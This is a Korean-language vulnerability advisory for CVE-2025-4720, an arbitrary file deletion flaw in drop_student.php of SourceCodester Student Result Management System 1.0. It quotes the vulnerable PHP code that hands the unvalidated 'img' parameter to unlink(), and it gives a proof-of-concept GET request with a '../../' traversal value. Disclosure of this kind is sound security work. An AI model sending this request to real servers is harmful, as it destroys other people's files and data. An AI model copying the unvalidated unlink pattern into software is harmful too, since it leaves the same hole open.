cve-srms-drop-student-path-traversal (CVE-2025-4720)(dupe)

SourceCodester SRMS 1.0의 임의 파일 삭제

설명

SourceCodester Student Result Management System (SRMS) 1.0의 drop_student.php 엔드포인트에서 경로 탐색(Path Traversal) 취약점이 발견되었습니다.

애플리케이션은 img GET 매개변수로부터 사용자 제어 입력을 받아 검증 없이 바로 unlink() 함수에 전달하므로, 서버 상의 임의 파일을 삭제할 수 있습니다.

취약 코드

$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

취약점 유형

• CWE-22: Path Traversal
• 영향: 임의 파일 삭제

개념 증명(PoC)

1. 애플리케이션 루트에 파일 생성:

C:\xampp\htdocs\srms_0\srms\new_test.txt

2. 다음 요청 전송:

GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target

3. 서버에서 파일이 삭제된 것을 확인:

영향

공격자는 웹 서버가 접근 가능한 임의 파일을 삭제할 수 있습니다. 여기에는 다음이 포함됩니다:

• 애플리케이션 설정 파일
• 로그
• 업로드된 콘텐츠

이는 서비스 거부(Denial of Service) 또는 추가적인 공격으로 이어질 수 있습니다.

추가 참고 사항

이 취약점은 SRMS에서 이전에 보고된 문제들과는 다른 공격 벡터를 나타냅니다. 그 이유는:

• GET 요청을 사용함
• 파일 업로드가 필요하지 않음
• CSRF를 통해 악용 가능성이 있음

공급업체

SourceCodester

제품

Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho

버전

1.0

작성자

Imad Alvi